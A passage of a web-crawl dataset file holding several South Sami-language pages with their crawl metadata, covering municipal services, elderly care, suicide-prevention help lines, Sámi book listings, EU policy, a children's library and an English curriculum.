gïelevaarjelimme barkose.\n-\nDov reaktoe nationelle unnebelåhkoegïelese\nGaajhkh åejvieladtjh Sveerjesne tjoeverieh bievnedidh gaajhkh nationelle unnebelåhkoeh jih sijjien gïele reaktoe, jih aaj jiddisch…\n-\nDåarjoe unnebelåhkoegïelide\nFïerhten jaepien Isof dåarjoem maaksa sjïere siebride Sveerjesne mij prosjektigujmie berkieh mij edtja dah nationelle unnebelåhkoe…","id":"","dump":"CC-MAIN-2023-14","url":"https:\/\/www.isof.se\/sidor-pa-nationella-minoritetssprak\/samegiella\/aarjelsaemien","date":"2023-03-29T18:56:31Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-14\/segments\/1679296949025.18\/warc\/CC-MAIN-20230329182643-20230329212643-00743.warc.gz","language":"sma","language_score":0.9998883009,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9998883008956909}","num_words":77,"character_repetition_ratio":0.104,"word_repetition_ratio":0.0,"special_characters_ratio":0.141,"stopwords_ratio":0.13,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Daelviesjïekedimmie\nVinterrenhållning\nDïhte lea gåetien aajhteren dïedte lopmem jïh jïengem baeledh mij vaedtsijidie dåeriesmoerh darjodh jïh jis njalhkedihks saedtieh seejjedh.\nLopme jïh jïenge gåetien bïrje, oksen åvtesne, rehpesne j.n.v. mah byjjes sæjjan beaja, edtja gåetien aajhtere destie vaeltedh. Aaj gåetien aajhteren dïedte saedtiem seejjedh jis njalhkedihks. Ij leah luhpie lopmhdeavah j.n.v. byjjes sæjjan biejedh. Gåetien aajhtere edtja lopmem tjïelten lopmedeavese biejedh.\nVaadtsemegeajnosne mij tjïelte lopmh baala destie tjïelte edtja lopmem destie foeresjidh, jïh aaj saedtiem seejjedh jïh saedtiem destie foeresjidh. Vaadtsemegeajnoe mij ij lopmh baelieh dïsse tjïelte lopmh biejedh. Destie båata gåetien aajhtere dïedte orrije jis vaadtsemegeajnoem lopmedeavam åtna. Gosse lopme jïh jïenge tahtjoste vaeltedh tjoerh geehtedh ij oktegh destie laarhkenieh, jïh trafihke jïh dam byjjes svihtjemem sijjesne ij dåastoeh jallh stuvrh.\nVuartesjh gosse ij leah luhpie tjöödtjedh jïh datumetjöödtjeme guktie ij lopmebalemh stuvrh. Aaj ussjedh gusnie tsumhtsie-bæhtoem biejedh gosse dejtie galka lopmedahkesne veedtjedh.","id":"","dump":"CC-MAIN-2023-14","url":"https:\/\/www.umea.se\/kommunochpolitik\/languages\/samiengiallije\/siebredahkehoksetimmieh\/vaadtsemegeajnoensjiekedimmie\/daelviesjiekedimmie.4.333c64e217718860a2311b2.html","date":"2023-04-01T20:21:30Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-14\/segments\/1679296950247.65\/warc\/CC-MAIN-20230401191131-20230401221131-00312.warc.gz","language":"sma","language_score":1.0000044107,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 1.0000044107437134}","num_words":144,"character_repetition_ratio":0.084,"word_repetition_ratio":0.0,"special_characters_ratio":0.147,"stopwords_ratio":0.111,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tjaelije\nBertije\nVaadtasovvemejaepie\n2002\nDaltese\nGiele\nISBN\n9525343111\nFormaate\nSïejhme gærja\nReakta-aajhtere\nReaktah\nGaajhkh reaktah leah doelehtovveme\nMennie bielesne\n144\nGærja saemiej bïjre englaantengïelesne.\nDaate gærja englaantengïelesne tjaaleldh, jïh soptseste enaresaemiej, luvliesaemiej jïh kovlasaemiej bïjre. Gærja aamhtesh gïetedalla goh: saemiengïele, kultuvre, histovrije, tjeahpoe, tjaaleldahkh, musihke, jaahkoe jïh læstadianisme. Lohkedh maahta saemien organisasjovni bïjre jïh gærja seabradahkeanalyjsem Saepmeste buakta. Annetje badth såårne dovne tjaetsiebeedtemen bïjre jïh dellie eeremes Áltá-Guovdageaidnu-jeanoen dulviehtimmiem.\nGærjam maahta utnedh englaantegïele-ööhpehtæmman, learohkh dellie biesieh saemien tsiehkien bïjre lohkedh englaantengïelesne.\nOvttas|Aktan|Aktesne bruker også analyseverktøy, dette for å forbedre og videreutvikle nettstedet.","id":"","dump":"CC-MAIN-2023-14","url":"https:\/\/ovttas.no\/sma\/girji_sami-people-traditions-transition","date":"2023-03-24T03:40:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-14\/segments\/1679296945242.64\/warc\/CC-MAIN-20230324020038-20230324050038-00559.warc.gz","language":"sma","language_score":0.9999032021,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9999032020568848}","num_words":89,"character_repetition_ratio":0.061,"word_repetition_ratio":0.0,"special_characters_ratio":0.151,"stopwords_ratio":0.146,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tjaelije\nBertije\nVaadtasovvemejaepie\n1976\nDaltese\nGiele\nISBN\n8200050211\nFormaate\nSïejhme gærja\nReakta-aajhtere\nReaktah\nGaajhkh reaktah leah doelehtovveme\nMennie bielesne\n233\nGærja saemiej jïh saemien kultuvren bïjre.\nBåarasåbpoe gærja saemiej, båatsoen, saemien kultuvren jïh kultuvrehistovrijen bïjre. Saemien eatneme jïh saemien histovrije, juhtijesaemieh, mearoesaemieh, skåakesaemieh jïh luvliesaemieh, aajmoes kultuvre saemiej gaskem jïh dej baaletje saemien seabradahke. Daate gærja mubpede bertiemistie.\nGærjan voestes berteme digitaalegærjine gaavnemisnie, Nasjonaalegærjagåetesne.\nOvttas|Aktan|Aktesne bruker også analyseverktøy, dette for å forbedre og videreutvikle nettstedet.","id":"","dump":"CC-MAIN-2023-14","url":"https:\/\/ovttas.no\/sma\/girji_samekulturen","date":"2023-03-24T03:03:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-14\/segments\/1679296945242.64\/warc\/CC-MAIN-20230324020038-20230324050038-00575.warc.gz","language":"sma","language_score":0.9997386336,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9997386336326599}","num_words":72,"character_repetition_ratio":0.057,"word_repetition_ratio":0.0,"special_characters_ratio":0.158,"stopwords_ratio":0.181,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ulmie daejnie prosjektine lea doestedh gihtjedh jis giejstie tjoeperdeminie. Lissine aaj dïhte ulmie hov jeenjebh edtjieh viehkiem vaeltedh jis åssjaldahkh utnieh hïegkem vaeltedh jallh jeatjah psykiske tjoeperigujmie.\nRaerieh dutnjien mij tjoeperh\/dåeriesmoerh åtnah\nJis datne damth ij leah luste veasodh, vedtieh dle nuepiem gïese dejtie dov tjoeperidie guarkedh. Soptsestidh, maahta dïhte voestes sïlle årrodh viehkiem åadtjodh.\nMejtie dov naan åssjaldahkh jïjtse hïegkem vaeltedh? Healsoenöörje.\nRaerieh dutnjien mij giestie tjoeperdh\nDoesth pryjjedh! Maahta hov gïerve årrodh soptsestidh åssjaldahki bïjre jïjtse hïegkem vaeltedh, menh ij leah ïskeres. Soptsestidh, maahta viehkiehtidh hïegkem bearkadidh.\nDatne giestie tjoeperdh mij ussjedeminie jïjtse hïegkem vaeltedh? Healsoenöörje\nGïem maahtah bïeljelidh guktie viehkiem åadtjodh?\nRingkh 113 akuhte\nJis stoerre vaarah dïhte edtja jïjtse hïegkem vaeltedh, tjoerh dallegh 113 ringkedh.\nNeavroeetaate sæjhta datnem viehkiehtidh. Dah maehtieh aaj viehkiehtidh gïehtjedidh man alvoes lea.\nJis aehpesne, dle byörh dallegh 113 ringkedh, læjhkan mejtie dïhte almetje nyöjhkoeh. Sov dåaktere maahta raerieh jïh bïevnesh vedtedh magkerh viehkieh tjïeltesne gååvnese. Vihkeles bïhkedidh ih datne sïjhth dïhte edtja jaamedh, jïh aellieh maa satnem oktegimse laehpieh åvtelen neavroeetaatem jakseme.\nAehpesne\nBïeljelh dåakterem.\nMuvhth aejkien dle tjoerh voestemes dåakterem bïeljelidh. Jis giestie tjoeperdeminie, dle maahtah altese dåakterem bïeljelidh. Dïhte dåaktere maahta raerieh jïh bïevnesh vedtedh magkerh viehkieh tjïeltesne gååvnese jïh dïhte maahta aaj psykolåågese jallh sjïerehealsose seedtedh jis dïhte daerpies.\nRingkh voenen dåakterem 116 117\nJis ij leah aehpesne, menh ij maehtieh vuertedh goske dåakterekontovre rïhpesovveme, ringkh dle dåakterevaaktem telefovnesne 116 117. Dåakterevaakte lea gaahpode jïjjh biejjieh.\nDåakterevaakte åehpies jeatjah relevaante viehkiefaaleldahkigujmie guktie maehtieh datnem viehkiehtidh.\nViehkiefaaleldahkh tjïeltesne\nJeenjebh tjïelten healsoefaaleldahkh maehtieh raerieh jïh bïhkedimmieh vedtedh jis datne giestie tjoeperdh\/ vaejvie utnieh. Datne maahtah daejgujmie gaskesadtedh:\npsykiske healsoe- jïh geeruvevoetefaaleldahke tjïeltesne.\nBarkije: Heidi Thomasson tel: 414 65 019\nhealsoe jïh håksoefaaleldahkh dejtie mah gåetesne veasoeminie\nHïejmesåjhtere, tel: 414 38 954\nSåjhtere, tel: Trine Linmo tel: 917 42 594\nTjïelten hïejmesæjrosne barkijidie gaavnh.\nJeatjebh tjirkijealmetjh\nSåemies utnieh buerebe aalkoste hearrine, imaamine soptsestidh jallh giejnie jeatja almetjinie maam lahtedieh.\nDaarpesjh giejnie soptsestidh?\nGååvnese gellie viehkietelefovnh, chat-faaleldahkh, jïh duvtemedåehkieh giejnie maahtah soptsestidh guktie datne åtnah, raerieh jïh bïhkedimmieh åadtjodh. Ih daarpesjh jïjtse nommem jiehtedh.\nMaanide jïh noeride\nDaesnie jeenjebh viehkietelefovnh, chat-faaleldahkh jïh duvtemedåehkieh mah maehtieh datnem tjoeperigujmie viehkiehtidh.\nJïjnjh heelsegi gujmie\nFaaleldahkh Psykiske healsoe jïh geeruve voete","id":"","dump":"CC-MAIN-2023-14","url":"https:\/\/www.royrvik.kommune.no\/tjenester\/aarjel-saemien\/saernieh-2\/hiegkem-vaeltedh-soptsesh-dan-bijre-maahta-viehkine-arrodh.13714.aspx","date":"2023-03-22T04:03:12Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-14\/segments\/1679296943749.68\/warc\/CC-MAIN-20230322020215-20230322050215-00287.warc.gz","language":"sma","language_score":1.0000076294,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000076293945312}","num_words":349,"character_repetition_ratio":0.074,"word_repetition_ratio":0.006,"special_characters_ratio":0.155,"stopwords_ratio":0.069,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"- Startpage\n- Saepmie\n- Information på samiska\n- Hokse, viehkie jih såjhtoe - omsorg, hjälp och vård\n- Båeriesalmetjh, äldre\nBåeriesalmetjh, äldre\nVoeres jih ov-vervide\nBïerjen tjïeltesne mijjieh barkebe ihke viehkiem jih dåarjegem båerisalmetjidie jih ov-vervide vedtedh, juktie dah gelkieh maehtedh akten jïjtjemes jielemem jieledh. Hoksem Bïerjen tïeltesne akten salutogen jih rehabiliteringe vååjnesem åtna. Barkoem galka aajnen jïjtsh-eajhnadovvemem, integritetem jih jearsoesvoetem vaarjelidh,\nSyökemem barkoen bïjre tjïelten viehkiegïetedallijen luvnie darjoen. Syökemem njaalmeldh jallh tjaaleldh darjoen. Tjïelten viehkiegïetedallije varki tjïelkeste jih nännoste dah barkoeh mah syökeme. Datne akten tjaaleldh bäjhkoehtimmim nännoestimmien bïjre åadtjoeh, mij männgan dorjesåvva.. Jis ih datne fuakoes leah maahtah nännoestimmiem leenereaktese laejhtedh. Viehkiegïetedallijem maahta laejhteminie viehkiehtidh. Syökemem fealadimmiesaehtemen bïjre Leenetrafihkesne daajhtoen.\nJienebh bïevnesh, gaskesadth tjïelten viehkiegïetedallije\nJienebh bïevnesh åasaj bïjre, lohkh jienebh åasan bïjre daesnie läs om taxan här.\n-\nGuktie manne syökem, hur ansöker jag\nDatne jïjtje jallh dov saadthalmetjem viehkiegïetedallijem voeres- jih ov-vervide gaskesadta. Jis datne akten saadthalmetjem åtnah akten tjaaleldh tjaatsegem (fullmaktem)krïeven.\n-\n-","id":"","dump":"CC-MAIN-2023-14","url":"https:\/\/berg.se\/saepmie\/information-pa-samiska\/hokse-viehkie-jih-sajhtoe---omsorg-hjalp-och-vard\/baeriesalmetjh-aldre","date":"2023-03-29T10:23:18Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-14\/segments\/1679296948965.80\/warc\/CC-MAIN-20230329085436-20230329115436-00431.warc.gz","language":"sma","language_score":0.9999964237,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999964237213135}","num_words":150,"character_repetition_ratio":0.085,"word_repetition_ratio":0.0,"special_characters_ratio":0.147,"stopwords_ratio":0.1,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Hokse, viehkie jih såjhtoe - omsorg, hjälp och vård\nOvmessie jïjnje jih ovmessie aejkieh jielemisnie mijjieh almetjh dåarjegem, viehkiem jih hoksem ovmessie aatide daarpesjibie. Voeres- jih ov-vervienhoksem jih sosialedïenesjem lea dellie dutnjien.\nDïhte lea sosialedåarjoem, viehkiem psykijen ovhealsojne jallh gosse jearohke geeruvevierhtijste, dåarjege dejtie mah ålkoerijhkeste diekie båateme, nuepieh ov-vervide jih jienebe. Datne aaj raeriem åadtjoeh jielemen ovmessie deahpadimmide, vuesiehtimmien gaavhtan: provre, fuelhkiejieleme, voeresårromesijje jih juvleme.\nVyörtegs jielemem jih buerie jielemem\nGuktie aktem lissiem sosialedïenesjelaakesne gelkieh gaajhkide barkijidie voereshoksesne barkedh ihke Datne åadtjoeh akten vyörtegs jielemem jieledh jih buerielaakan damtedh. Datne daajrah mij dïhte dutnjien. Dan gaavhtan lea vihkeles ahte gaajhkide barkijidie Datne voereshoksesne gaskesadth datnem dov mïeli jih dov vaajtelimmiej bïjre gïhtjieh.\nByjrehks vyörtegsvoetetjirkemh Bïerjen tjïeltesne\nDarjoemoenehtsem lea nännoestamme ihke byjrehks vyörtegsvoetetjirkemh såjtoe- jih hoksesne daajroehtidh. Ahte byjrehks vyörtegsvoetetjirkemh daajroehtidh jïjtjesyjhtehts lea. Vyörtegsvoetetjirkemidie gelkieh abpe voereshoksese arrijh, gåabegh tjïelten jïjtse darjose jih jeatjah barkijidie. Tjirkemi maadtoe lea dïhte nasjonellen vyörtegsmaadtoem. Akten barkoedåehkiem ovmessie barkojste mij såjhtoe-jih hoksesne lea, aareh 2012 jaepeste barkeme ihke tjirkemidie hammoedidh mah Bïerjen tjïelte lea daajroehtamme. Barkoedåehkiem lea beavneme jih raeriestimmieh jih mïelh gåatan veedtjeme, aajne-almetjijstie, lïhkesadtjijste, barkijijstie jih almetjijstie. Barkoem lea dorjeme ahte daejtie vyörtegsvoetetjirkemidie leah dååhkasjehteme:\n- Bierjen tjïelte tjirkie ahte båeries almetjh mij viehkiem gåetesne utnieh jallh sjïere årromesijjesne leah, akten gaskesadthalmetjem åadtjoeh.\n- Bierjen tjïelte tjirkie ahte båeries almetjh mij viehkiem gåetesne utnieh jallh sjïere årromesijjesne leah, akten daaletje darjomeplaanem utnieh.\n- Bierjen tjïelte tjirkie ahte båeries almetjh mij viehkiem gåetesne utnieh jallh sjïere årromesijjesne leah, åadtjoeh naakenh lïhke jaadtoestimmesne utnedh\nVyörtegsvoetetjirkemidie aelkieh raajeste 2013-01-01 arrijh.\nTjeakome\nTjeakome lea gaajhkide barkijidie, praktikanth jih learohkh darjosne. Tjeakome lea ahte nihteme lea, ihke bïevnesh jiehtedh, njaalmeldh jallh ahte sïejhme paehperh olkese laehpien jallh jeatjah vuekesne bïevnesh laehpien.\nLaejhteme\/ girmeme\/mïelh\nMijjese lea buerie jis dov ussjedimmieh, åssjaldahkh jallh laejhtemh åadtjobe daejredh, dïhte mijjese nuepiem vaadta mijjen darjoem bueriedidh. Jis datne mïelh gïetedallijasse åtnah jih barkojde goh SoL, HSL, LVM, LVU och LSS Bïerjen tjïeltesne, datne maahtah sjïere goerem laejhtemasse\/girmemasse\/mïelide nuhtjedh, dunnie goerearkivesne dunnie åelkiesbielesne.\nSoL (Socialtjänstlagen (2001:453)\nHSL (Hälso och sjukvårdslagen(1982:763)\nLVM (Lag (1988:870) om vård av missbrukare i vissa fall)\nLVU (Lag (1990:52) med särskilda bestämmelser om vård av unga)\nLSS (Lag (1993:387) om stöd och service till vissa funktionshindrade.\n-\nÅrromesijjem voeresalmetjidie, boende för äldre\nVoeresårromesijjem akten årromesijjem dutnjien mij stoerre hoksedaerpiesvoeth abpe dygnesne åtnah. Datne jïjtjedh årromesijjesne årroeh jih jaksoesvoetem dej ektievoeten tjiehtelidie åtnah. Barkijh abpe dygnesne gååvnese. Syökemem voeresårromesäjjan datne viehkiegïetedallijen luvnie darjoen biståndshandläggare .\n-\n-\nLïhkesadtjh jih lïhkemes almetjh, anhöriga och närstående\nTjïelte \"galka dåerjegem faaledh ihke aelhkebe almetjidie daajhtodh, mah aktem lïhkemes almetjem håksa mij guhkies skïemtjes lea jallh voeres jallh aktem lïhkemes almetjem dåvta mij ov-verviem åtna\" Sosialedïenesjelaake Kap 5 § 10.\n-\nNjåvtasovvemem jih aajhtoem lïhke relasjovnine, våld och hot i nära relationer\nDov paarrebieliem datnem tsaapma? Datne vuajnah jallh govlh ahte dov tjïdtjie tsaepmien sjädta jallh datnem aaj tsaapmah? Dov jïjtjedomtoe skaarohten mïedtes soptsestimmijste sjïdth. Datne åadtjoeh årrodh giejnie datne sïjhth? Dov paarrebieliem datnem jallh dotnen ektievoeten ekonomijem gïehtjede. Datne tjoerh provredh läjhkan gåessie ih sïjhth? Dah leah vuesehth guktie maehtieh njåvtasovvemisnie arrijh; Dïhte maahta psykijen, fysisken, aati, ekonomijen jih seksuellen njåvtasovvemem arrijh. Sïejhmes njåvtasovvemem lea gaarmanäjjaj njåvtasovvemem nyjsenäjjide.\n-\nSkïemtjijereaktah, patienträttigheter\nGoh skïemtjije healsoe- jih skïemtjesåjtosne datne ovmessie reaktah åtnah mah maehtieh hijven arrijh daajhtodh.. Datne reaktah åtnah guerkiehtimmie bïevnesh dov healsoen bïjre åadtjodh jih aaj gïehtjedimmie- jih båehtjierdimmievuekiej bïjre. Datne galkh aaj bïevnesh åadtjodh gusnie datne maahtah laejhtemigujmie jårredh.\n-\nTaksah jih åasah, taxor och avgifter\nTjïelte aktem åasam olkese vaeltien don dåarjegasse jih viehkiem mij datne tjïelteste åadtjoeh.\n-\nViehkiem gåetesne, hjälp i hemmet\nBïerjen tjïeltesne ovmessie dåarjegh jih hoksehtimmieh faala. Dåarjegem lea ihke nuepiem akten jïjtjemes jielemem guktie gåerede vedtedh, numhtie ahte datne maahtah gåetesne arrijh dan guhkiem guktie vaajtelh.","id":"","dump":"CC-MAIN-2023-23","url":"https:\/\/berg.se\/saepmie\/information-pa-samiska\/hokse-viehkie-jih-sajhtoe---omsorg-hjalp-och-vard","date":"2023-06-07T03:13:03Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-23\/segments\/1685224653501.53\/warc\/CC-MAIN-20230607010703-20230607040703-00131.warc.gz","language":"sma","language_score":0.9999818802,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999818801879883}","num_words":599,"character_repetition_ratio":0.058,"word_repetition_ratio":0.029,"special_characters_ratio":0.155,"stopwords_ratio":0.1,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Digitale museume\nSaemien Sïjte eadtjohke barkeminie abpe våarhkoem digitale våarhkojne darjodh. Datne maahtah guvvieh jïh jielemeguvvieh vuartasjidh. Maahtah jïh tjoejenassevierhtieh govledh daesnie: Digitalt Museum\nHijven jis datne sïjhth mijjese bievnesjidh jis maam joem guvviej bïjre daajrah. Jis guvvieh våarhkoste vuajnah gusnie datne jallh dov fuelhkie leah jïh ih sïjhth guvvieh gaskeviermesne juakasovveme, maahtah Saemien Sïjtese bievnesjidh.\nE-påaste: [email protected]\nDaesnie lahtese Saemien Sïjten guvvievåarhkose: http:\/\/digitaltmuseum.no\/info\/owners\/SSS\nSaernieh plaereste: Digital gave på samefolkets dag","id":"","dump":"CC-MAIN-2023-23","url":"https:\/\/saemiensijte.no\/sami\/digitale-museume\/","date":"2023-06-07T06:28:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-23\/segments\/1685224653608.76\/warc\/CC-MAIN-20230607042751-20230607072751-00400.warc.gz","language":"sma","language_score":0.9999958277,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9999958276748657}","num_words":72,"character_repetition_ratio":0.049,"word_repetition_ratio":0.0,"special_characters_ratio":0.145,"stopwords_ratio":0.111,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gellie njoelkedassh jïh direktijvh sijjen aalkoe EE-systeemesne utnieh. Mieriedimmieh jïh direktijvh beapmoejearsoesvoeten, veterinæærepolitihken, foeresjimmiepolitihken, energijepolitihken jïh byjresepolitihken bïjre saemien ïedtjh joekehtslaakan baajnehtieh.\nSaemiepolitihkeles baajnehtimmie europan konteekstesne tsihkestahta mijjieh buektiehtibie hammoedidh, våajnoes darjodh jïh gaskesadtedh politihkeles ulmieh, krïevenassh jïh veanhtadimmieh mah vihth vihties baajnehtimmieöörnegh vedtieh.\nBaajnehtimmiebarkoe, jallh lobbybarkoe lea vihkeles bielie dehtie politihkeles jieliedistie EE-systeemesne, jïh EE-institusjovnh jååhkesjieh daate dovne daerpies jïh vaajteles. Baajnehtimmiebarkoe sæjhta jiehtedh eadtjohkelaakan meatan årrodh EE:n sjæjsjalimmieprosessine. Sjæjsjalimmieh EE:sne maehtieh konsekvensh saemide vedtedh, jïh dan åvteste vihkele jïjtse sijjiem EE-systeemen vööste eevtjedh.\nSaemiedigkie sæjhta sjïehteladtedh ihke Saemien Parlamentarihkeles Raerie maahta digkiedidh guktie saemiedigkieh maehtieh EE:n sjæjsjalimmieprosessh baajnehtidh. Vaajteles mierievierhkiejgujmie maallide mah vihties saemien baajnehtimmieöörnegh EE:sne vedtieh. Iemie saemiedigkieh Soemesne jïh Sveerjesne dagkeres barkoem stuvrieh dan åvteste dah maehtieh aevhkine utnedh Soemen jïh Sveerjen EE-lïhtsegevoeteste.\nSaemiedigkie lea meatan Europapolitihkeles forumisnie, mij gaavnede göökth jaepien. Forume lea gaavnedimmiesijjie departemeentide, fylhkentjïeltide, tjïeltide jïh Saemiedægkan. Reerenasse lea strategijem EE-laavenjostose evtiedamme mij ïedtjem vuesehte akten lïhke laavenjostose EE:ine jïh eadtjohkelaakan meatan årrodh politihkeles prosessine Europesne. Juktie vihkeles sjæjsjalimmieh baajnehtidh Nöörje tjuara aareh jïh tjarke meatan årrodh europapolitihkeles gyhtjelassine. Saemiedigkie sæjhta dialogem jïh laavenjostoem nöörjen åejvieladtjigujmie EE-gyhtjelassine nænnoestidh","id":"","dump":"CC-MAIN-2023-23","url":"https:\/\/sametinget.no\/gaskenasjonaale-barkoe\/noerhtedajvh\/europan-ektiedimmie-ee\/","date":"2023-06-02T08:46:08Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-23\/segments\/1685224648465.70\/warc\/CC-MAIN-20230602072202-20230602102202-00715.warc.gz","language":"sma","language_score":1.0000038147,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 1.0000038146972656}","num_words":185,"character_repetition_ratio":0.077,"word_repetition_ratio":0.0,"special_characters_ratio":0.116,"stopwords_ratio":0.13,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"General.WelcomeHeader\nSpïelh Polarbibblon giesiespïelem!\nSnaltjen gietjeste mïetsken raajan datne maahtah golme sjïere darjomh gaavnedh: göökte bingoh jïh akte skaavtegespïele. Jis datne bingom gåabpegh bingojde åadtjoeh dellie datne nuepiem joekoen tjaebpies åasah vitnedh! Datne skaavtegespïelem snjaltjen voestes biejjeste jïh ålkone bingom mïetsken voestes biejjeste gaavnh. Seedth bingodaablojde minngemes mïetsken 31. biejjien.\nSveerje 500 jaepieh illie 2023\nDaam Polarbibblosne heevehtibie gieltegs quisinie. Datne daajrah mij deahpadi ruffien 6. biejjien 1523? Jallh magkeres muerjieh sveerjesietieslaejpesne?\nSveerje 500 jaepieh - maam datne maahtah mijjen laanten bïjre?\nMinngemes guvviehVielie guvvieh\nMinngemes teeksthVielie teeksth\nManne leam hujnies\nManne leam hujnies,\nmanne sïjhtem klaeriedidh.\nMannasinnie sïjht klaeriedidh?\nLea luste, OK?!\n\"Britt-Marie 2.0\"\nNinjah jïh gïermesje\nIkth lij gïermesje, gellieh åejjiejgujmie. Snjåajpelh dej njaelmiej sistie råasoejin. Dellie golme ninjah böötin, jïh gïermesjem bäjjese vaaran nollelin, gropten sijse. Jeehtin desnie gullie. Ninjah gïermesjem geereli...\nBïevnesh jïh saernieh\nMemorym spealadidh\nSïjhth vielie murreds baakoeh lïeredh? Dellie mijjen aktem memorym maahtah pryövedh. Mijjen leah gellie mestie veeljedh!\nOrre tjaebpies guvvieh!\nDaelie mijjieh orre guvvieh gïeledyjrigujmie utnebe jïh dejtie maahtah olkese tjaeledh jïh guvviedidh. Dïedth guvviem juktie stuerebe guvviem åadtjodh, vöörhkh jïh olkese tjaelieh.\nSïjhth meatan årrodh gaahtjedh?\nNov dån daajrah mijjen lea Vuerpie daesnie Polarbibblosne? Fïerhten asken gærjah, plaerieh jïh jeatjah lustes aath våarpoejibie. Fïerhten aamhtesem maam mijjese seedteme lea akte vuerpie. Dellie tjoerh måjhtajidh kontom daarpesjh jis sïjhth meatan årrodh.","id":"","dump":"CC-MAIN-2023-23","url":"https:\/\/www.polarbibblo.se\/sma-se\/","date":"2023-06-06T19:35:31Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-23\/segments\/1685224653071.58\/warc\/CC-MAIN-20230606182640-20230606212640-00007.warc.gz","language":"sma","language_score":0.9999854565,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9999854564666748}","num_words":212,"character_repetition_ratio":0.05,"word_repetition_ratio":0.0,"special_characters_ratio":0.161,"stopwords_ratio":0.075,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Englaantengïele (ENG01‑04)\nVihkeles tjiehpiesvoeth\nNjaalmeldh tjiehpiesvoeth\nNjaalmeldh tjiehpiesvoeth englaantengïelesne lea mïelem sjugniedidh viehkine goltelidh, soptsestidh jïh soptsestalledh. Lea bïevnesh guhkiebasse buektedh, gïelem sjïehtedidh ålman, dåastoejasse jïh tseahkan jïh sjiehteles strategijh veeljedh. Evtiedimmie njaalmeldh tjiehpiesvoetijste englaantengïelesne lea maehtedh njaalmeldh gïelem ahkedh veelebelaakan jïh jeereldihkie jnuhtjedh uktie ovmessie teemaj bïjre gaskesadtedh, byjjes jïh ovbyjjes tsiehkine ovmessie dåastoejidie joekehts gïeleldh maadtojne.\nMaehtedh tjaeledh\nMaehtedh englaantengïelesne tjaeledh lea åssjalommesh jïh mïelh buektedh maereleslaakan jïh guktie mubpieh guarkoeh, ovmessie såarhts teekstine, paehpierisnie jïh digitaalelaakan. Tjaeledh lea soejkesjidh, hammoedidh jïh bueriedidh teeksth mah gaskesedtieh, jïh gïelem aajkose, dåastoejasse jïh tseahkan sjïehtedidh jïh sjiehteles tjaelemestrategijh veeljedh. Evtiedimmie tjaelememaahtoste englaantengïelesne aalka gosse aktegsbaakoeh jïh jiehtegh leara goske maahta joekehts såarhts iktemierien teeksth sjugniedidh mah vuajnoeh jïh daajroem buektieh. Lea aaj joekehts såarhts gaaltijh nuhtjedh laejhtehkslaakan jïh ussjedammes.\nMaehtedh lohkedh\nMaehtedh lohkedh englaantengïelesne lea guarkedh jïh sisvegen bijjelen ussjedadtedh joekehts såarhts teekstine paehpierisnie jïh digitaalelaakan, jïh edtja lohkemeaavoem jïh vejtiestimmiem gïeleste vedtedh. Lea lohkedh jïh bïevnesh gaavnedh laavkeme teekstine mah gaahtjije dïjrem utnieh, jïh lohkemestrategijh nuhtjedh juktie eksplisihte jïh implisihte bïevnesh guarkedh. Evtiedimmie lohkememaahtoste englaantengïelesne aalka gosse gïeletjoejigujmie, staavadimmiemöönsterh jïh baakoelïhtsigujmie haarjanieh goske maahta jeereldihkie jïh geerve teeksth galkije jïh goerkesinie lohkedh jïh ahkedh vielie maehtedh ussjedadtedh jïh vuarjasjidh joekehts såarhts teeksth laejhtehkslaakan.\nDigitaale tjiehpiesvoeth\nDigitaale tjiehpiesvoeth englaantengïelesne lea maehtedh digitaale medijh jïh vierhtieh nuhtjedh juktie gïelelïeremem nænnoestidh, juktie autentiske gïelemaallh jïh soptsestimmieguejmieh englaantengïelesne gaavnedidh, jïh sjiehteles daajroem englaantengïelefaagesne vejtiestidh. Lea laejhtehkslaakan jïh ussjedihks dåemiedidh englaantengïelesne digitaale soptsestimmiehammosne jïh gaskesadtemisnie mubpiejgujmie. Evtiedimmie digitaale tjiehpiesvoetijste englaantengïelesne lea aelkedh gïelem 